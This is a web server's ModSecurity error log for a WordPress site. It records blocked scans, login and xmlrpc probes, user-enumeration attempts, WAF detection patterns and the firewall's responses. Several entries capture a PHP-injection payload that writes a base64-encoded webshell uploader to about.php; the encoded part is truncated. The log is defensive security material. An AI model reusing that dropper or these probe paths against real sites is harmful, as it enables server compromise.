[Thu Nov 13 21:42:59.489344 2025] [:error] [pid 5086:tid 5112] [client 66.249.70.166:58481] [client 66.249.70.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bonus/Slot%20%E0%B8%9A%E0%B8%AD%E0%B8%A5%20%E0%B8%A7%E0%B8%B1%E0%B8%99%E0%B8%99%E0%B8%B5%E0%B9%89%20%E0%B8%AA%E0%B8%94.html"] [unique_id "aRXgYx_dsYLFCHw574iicgAAARc"]
[Thu Nov 13 21:59:41.768623 2025] [:error] [pid 4992:tid 5009] [client 103.101.161.220:36844] [client 103.101.161.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.101.161.220, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRXkTSmsutP7nusdj-CE7QAAAM0"]
[Thu Nov 13 22:28:58.268255 2025] [:error] [pid 19872:tid 19894] [client 217.182.173.108:43390] [client 217.182.173.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style.php"] [unique_id "aRXrKsusrN1b6ZJ_vbsf4AAAAFE"]
[Thu Nov 13 22:29:06.863436 2025] [:error] [pid 5086:tid 5089] [client 217.182.173.108:57364] [client 217.182.173.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style.php"] [unique_id "aRXrMh_dsYLFCHw574i67QAAAQA"]
[Thu Nov 13 23:42:31.740976 2025] [:error] [pid 4992:tid 5007] [client 43.157.188.74:46160] [client 43.157.188.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRX8ZymsutP7nusdj-Cj_gAAAMs"]
[Fri Nov 14 06:22:15.932057 2025] [:error] [pid 47242:tid 47266] [client 103.144.64.2:55238] [client 103.144.64.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.144.64.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRZaF1PNnvrux3OMagySnQAAANU"]
[Fri Nov 14 09:17:59.829438 2025] [:error] [pid 59105:tid 59114] [client 106.219.89.79:6351] [client 106.219.89.79] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aRaDR7d-anP1JpNfuSK7HAAAAUc"]
[Fri Nov 14 09:19:35.515387 2025] [:error] [pid 47630:tid 47650] [client 106.219.89.79:32014] [client 106.219.89.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.89.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRaDp8xXXNBfWgpfVJ6ASQAAARI"]
[Fri Nov 14 09:20:55.642988 2025] [:error] [pid 47154:tid 47179] [client 106.219.89.79:11705] [client 106.219.89.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.89.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRaD90ijA13A3g3ATrKy9wAAABQ"]
[Fri Nov 14 09:22:23.597560 2025] [:error] [pid 47156:tid 47225] [client 106.219.89.79:3297] [client 106.219.89.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.89.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRaET9jrQX_P-kC7M_5UVAAAAIs"]
[Fri Nov 14 17:33:48.850689 2025] [:error] [pid 16709:tid 16727] [client 106.227.49.113:45085] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRb3fKNdzfVNC4oipLVZxgAAAVA"]
[Fri Nov 14 17:44:51.366253 2025] [:error] [pid 16573:tid 16596] [client 43.166.136.153:52428] [client 43.166.136.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRb6EyPGexfUk9FDoEKWZQAAAFI"]
[Fri Nov 14 18:18:36.579406 2025] [:error] [pid 16671:tid 16677] [client 49.51.243.156:49748] [client 49.51.243.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aRcB_DsoHwEAmeIzZXBbJgAAAQA"]
[Fri Nov 14 18:41:51.599017 2025] [autoindex:error] [pid 1170:tid 1173] [client 134.209.221.235:62188] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Nov 14 19:07:48.754705 2025] [:error] [pid 16709:tid 16723] [client 144.172.104.97:49372] [client 144.172.104.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:google. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||rcacivilgroup.com|F|2"] [data "Matched Data: fwrite found within ARGS:google: echo 'RxRHaCk';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gIkVuaWdtYUN5YmVyU2VjdXJpdHkiKXsKZWNobyAiPGI+RW5pZ21hQ3liZXJTZWN1cml0eTwvYj48YnI+IjsKZWNobyAnPGI+U3lzdGVtIEluZm86PC9iPiAnLnBocF91bmFtZSgpOwplY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4nOwplY2hvICc8aW5wdXQgdH..."] [sever [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/about.php"] [unique_id "aRcNhKNdzfVNC4oipLV5KgAAAUw"]
[Fri Nov 14 19:08:19.097783 2025] [:error] [pid 1170:tid 1178] [client 144.172.104.97:51394] [client 144.172.104.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:css. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||rcacivilgroup.com|F|2"] [data "Matched Data: fwrite found within ARGS:css: echo 'RxRHaCk';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gIkVuaWdtYUN5YmVyU2VjdXJpdHkiKXsKZWNobyAiPGI+RW5pZ21hQ3liZXJTZWN1cml0eTwvYj48YnI+IjsKZWNobyAnPGI+U3lzdGVtIEluZm86PC9iPiAnLnBocF91bmFtZSgpOwplY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4nOwplY2hvICc8aW5wdXQgdHlwZ..."] [severity [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/about.php"] [unique_id "aRcNow5pkvzCDzzjItRUQwAAAAY"]
[Fri Nov 14 19:09:51.292643 2025] [:error] [pid 16575:tid 16656] [client 144.172.104.97:58332] [client 144.172.104.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:google. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||rcacivilgroup.com|F|2"] [data "Matched Data: fwrite found within ARGS:google: echo 'RxRHaCk';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gIkVuaWdtYUN5YmVyU2VjdXJpdHkiKXsKZWNobyAiPGI+RW5pZ21hQ3liZXJTZWN1cml0eTwvYj48YnI+IjsKZWNobyAnPGI+U3lzdGVtIEluZm86PC9iPiAnLnBocF91bmFtZSgpOwplY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4nOwplY2hvICc8aW5wdXQgdH..."] [sever [hostname "rcacivilgroup.com"] [uri "/geju.php"] [unique_id "aRcN_-6qT670YxigvbCV9gAAANY"]
[Fri Nov 14 19:09:51.535733 2025] [autoindex:error] [pid 16574:tid 16609] [client 144.172.104.97:58347] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 19:10:19.724905 2025] [:error] [pid 1170:tid 1181] [client 144.172.104.97:60413] [client 144.172.104.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:css. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||rcacivilgroup.com|F|2"] [data "Matched Data: fwrite found within ARGS:css: echo 'RxRHaCk';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gIkVuaWdtYUN5YmVyU2VjdXJpdHkiKXsKZWNobyAiPGI+RW5pZ21hQ3liZXJTZWN1cml0eTwvYj48YnI+IjsKZWNobyAnPGI+U3lzdGVtIEluZm86PC9iPiAnLnBocF91bmFtZSgpOwplY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4nOwplY2hvICc8aW5wdXQgdHlwZ..."] [severity [hostname "rcacivilgroup.com"] [uri "/geju.php"] [unique_id "aRcOGw5pkvzCDzzjItRVtQAAAAk"]
[Fri Nov 14 19:10:52.699771 2025] [autoindex:error] [pid 16709:tid 16724] [client 144.172.104.97:63119] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 19:11:22.601521 2025] [:error] [pid 16574:tid 16631] [client 144.172.104.97:49314] [client 144.172.104.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/userfuns.php"] [unique_id "aRcOWv6XQqe4NqaoE9JF2QAAAJg"]
[Fri Nov 14 19:11:22.757140 2025] [:error] [pid 1170:tid 1186] [client 144.172.104.97:49355] [client 144.172.104.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/index.php"] [unique_id "aRcOWg5pkvzCDzzjItRWPgAAAA4"]
[Fri Nov 14 19:11:23.705581 2025] [:error] [pid 16573:tid 16588] [client 144.172.104.97:49474] [client 144.172.104.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "aRcOWyPGexfUk9FDoEKrrwAAAEo"]
[Fri Nov 14 19:11:49.477541 2025] [:error] [pid 1170:tid 1186] [client 144.172.104.97:51767] [client 144.172.104.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/about.php"] [unique_id "aRcOdQ5pkvzCDzzjItRWbgAAAA4"]
[Fri Nov 14 19:11:49.478177 2025] [:error] [pid 16573:tid 16594] [client 144.172.104.97:51781] [client 144.172.104.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Content/Type/index.php"] [unique_id "aRcOdSPGexfUk9FDoEKryAAAAFA"]
[Fri Nov 14 19:11:49.968618 2025] [:error] [pid 16573:tid 16582] [client 144.172.104.97:51798] [client 144.172.104.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/about.php"] [unique_id "aRcOdSPGexfUk9FDoEKryQAAAEQ"]
[Fri Nov 14 19:12:21.206075 2025] [:error] [pid 16574:tid 16621] [client 144.172.104.97:54450] [client 144.172.104.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aRcOlf6XQqe4NqaoE9JGCwAAAI4"]
[Fri Nov 14 19:12:55.003995 2025] [:error] [pid 1170:tid 1193] [client 144.172.104.97:57404] [client 144.172.104.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.172.104.97, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRcOtw5pkvzCDzzjItRWyQAAABU"]
[Fri Nov 14 19:12:55.648824 2025] [:error] [pid 1170:tid 1184] [client 144.172.104.97:57419] [client 144.172.104.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:google. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||rcacivilgroup.com|F|2"] [data "Matched Data: fwrite found within ARGS:google: echo 'RxRHaCk';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gIkVuaWdtYUN5YmVyU2VjdXJpdHkiKXsKZWNobyAiPGI+RW5pZ21hQ3liZXJTZWN1cml0eTwvYj48YnI+IjsKZWNobyAnPGI+U3lzdGVtIEluZm86PC9iPiAnLnBocF91bmFtZSgpOwplY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4nOwplY2hvICc8aW5wdXQgdH..."] [sever [hostname "rcacivilgroup.com"] [uri "/geju.php"] [unique_id "aRcOtw5pkvzCDzzjItRWygAAAAw"]
[Fri Nov 14 19:13:27.337844 2025] [autoindex:error] [pid 16671:tid 16691] [client 144.172.104.97:60310] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 19:13:28.390274 2025] [:error] [pid 1170:tid 1172] [client 144.172.104.97:60374] [client 144.172.104.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:css. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||rcacivilgroup.com|F|2"] [data "Matched Data: fwrite found within ARGS:css: echo 'RxRHaCk';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gIkVuaWdtYUN5YmVyU2VjdXJpdHkiKXsKZWNobyAiPGI+RW5pZ21hQ3liZXJTZWN1cml0eTwvYj48YnI+IjsKZWNobyAnPGI+U3lzdGVtIEluZm86PC9iPiAnLnBocF91bmFtZSgpOwplY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4nOwplY2hvICc8aW5wdXQgdHlwZ..."] [severity [hostname "rcacivilgroup.com"] [uri "/geju.php"] [unique_id "aRcO2A5pkvzCDzzjItRW9gAAAAA"]
[Fri Nov 14 19:15:00.722949 2025] [:error] [pid 1170:tid 1175] [client 144.172.104.97:52002] [client 144.172.104.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:google. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||rcacivilgroup.com|F|2"] [data "Matched Data: fwrite found within ARGS:google: echo 'RxRHaCk';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gIkVuaWdtYUN5YmVyU2VjdXJpdHkiKXsKZWNobyAiPGI+RW5pZ21hQ3liZXJTZWN1cml0eTwvYj48YnI+IjsKZWNobyAnPGI+U3lzdGVtIEluZm86PC9iPiAnLnBocF91bmFtZSgpOwplY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4nOwplY2hvICc8aW5wdXQgdH..."] [sever [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "aRcPNA5pkvzCDzzjItRXvwAAAAM"]
[Fri Nov 14 19:15:24.141455 2025] [autoindex:error] [pid 16574:tid 16611] [client 144.172.104.97:54198] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 19:15:25.415877 2025] [:error] [pid 16709:tid 16721] [client 144.172.104.97:54218] [client 144.172.104.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:css. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||rcacivilgroup.com|F|2"] [data "Matched Data: fwrite found within ARGS:css: echo 'RxRHaCk';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gIkVuaWdtYUN5YmVyU2VjdXJpdHkiKXsKZWNobyAiPGI+RW5pZ21hQ3liZXJTZWN1cml0eTwvYj48YnI+IjsKZWNobyAnPGI+U3lzdGVtIEluZm86PC9iPiAnLnBocF91bmFtZSgpOwplY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4nOwplY2hvICc8aW5wdXQgdHlwZ..."] [severity [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "aRcPTaNdzfVNC4oipLV7wQAAAUo"]
[Fri Nov 14 21:03:17.771752 2025] [:error] [pid 16709:tid 16724] [client 62.146.234.58:34722] [client 62.146.234.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.146.234.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRcolaNdzfVNC4oipLWcugAAAU0"]
